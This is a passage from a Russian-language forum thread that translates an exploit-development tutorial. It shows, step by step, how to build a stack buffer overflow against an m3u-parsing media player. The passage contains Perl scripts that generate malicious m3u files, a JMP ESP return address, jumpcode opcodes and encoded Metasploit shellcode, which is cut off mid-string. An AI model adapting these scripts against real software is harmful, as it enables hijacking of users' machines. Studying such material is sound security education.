print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";

Когда приложение упадёт, мы увидим, что наши 50 NOP’ов начинаются в 000ffe80, сопровождаемые шеллкодом (0x90 в 000ffe80), и с другой стороны сопровождаемые A-массивом. Вот, как это выглядит:

991h.png


Второй шаг, который мы должны сделать, встроить наш jumpcode, который должен быть помещен в ESP. Цель jumpcode’а состоит в том, чтобы перейти к ESP+281 – адрес EIP.

Написать jumpcode столь же просто, как записать необходимые операторы на ассемблере, а затем перевести их в коды операций (удостоверяясь, что у нас нет никаких нулевых байтов или других ограниченных символов).

Переход к ESP+281 потребовал бы: добавить 281 в ESP регистр, и затем выполнить jump esp. 281 = 119h. Не пытайтесь поместить всё в одно действие, т.к. вы рискуете получить опкоды с нулевыми байтами.

Так как у нас есть немного пространства (из-за NOP’ов перед нашим шеллкодом), мы можем допустить небольшую погрешность. Если мы добавим 281 (либо больше), всё будет работать. У нас есть всего 50 байт для нашего jumpcode, но это не проблема.

Давайте добавим 0x5e (94) к ESP, 3 раза, и в завершении переход к esp. Команды трансляции:
add esp, 0x5e
add esp, 0x5e
add esp, 0x5e
jmp esp

Используя windbg, мы можем получить код операции:

992b.png


Хорошо, таким образом, код операции для всего jumpcode’а выглядит так: 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

Код:
#!usr/bin/perl
my $file= "test4_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp

my $nop2 = "0x90" x 10;   # используется для визуальности

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

993k.png


jumpcode помещен в ESP. Шеллкод начинается в 000ffe80.

Завершающим этапом, который мы должны сделать, является перезапись EIP на “jmp esp”. Из первой части руководства нам известно, что это может быть достигнуто через адрес 0x01def23a.

Что случится, когда произойдет переполнение?
  • Реальный шеллкод будет помещен в первую часть строки, которая посылается, и заканчивается в ESP+300. Шеллкоду предшествует ноп-след, для подстраховки от погрешности при переходе на него.
  • EIP будет перезаписан на 0x01def23a (указывает на инструкцию в dll, call “JMP ESP”)
  • Данные после перезаписи EIP будут содержать код перехода, который добавляет 282 к ESP, и затем переходит к нужному адресу.
  • После того, как полезная нагрузка записана, EIP перейдет к ESP, в котором будет находиться адрес jumpcode’а, чтобы перейти к ESP+282. NOP-след и шеллкод выполняться.
Давайте добавим разрывы(брейки) и посмотрим ещё раз:

Код:
#!usr/bin/perl
my $file= "test5_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01def23a);  

my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

Сгенерированный m3u файл покажет нам, что шеллкод, на месте которого разрыв(сс), попадает ровно в EIP. (EIP = 0x000ffe7c = начало shellcode).

994n.png


Заменим разрыв на реальный шеллкод (и заменим A-массив NOP’ами). (из шеллкода исключили символы: 0x00, 0xff, 0xac, 0xca)

Когда вы замените A-массив NOP’ами, у вас будет больше места для попадания в область шеллкода, и таким образом, jumpcode, который переходит через 188 позиций вперед (2 раза 5e), полностью себя оправдывает

Код:
#!usr/bin/perl
my $file= "test6_jumping.m3u";
my $buffersize = 26013;

my $junk= "\x90" x 200;
my $nop = "\x90" x 50;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x3
 
Part 1: Stack Based Overflow [RUS]
Part 3: SEH Based Exploits [RUS]
Part 3b: SEH Based Exploits [RUS]
Part 4: From Exploit to Metasploit [RUS]
Part 5 - Средства ускоряющие процесс разработки
6-ой части нету, ибо я форматнул винт с почти готовым переводом.
Part 7 - Unicode - from 0×00410041 to calc.exe (by E-agle and Demien)
а дальше поезд не пошел :sorry:
 
p(eaZ, картинки остались локально к постам?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх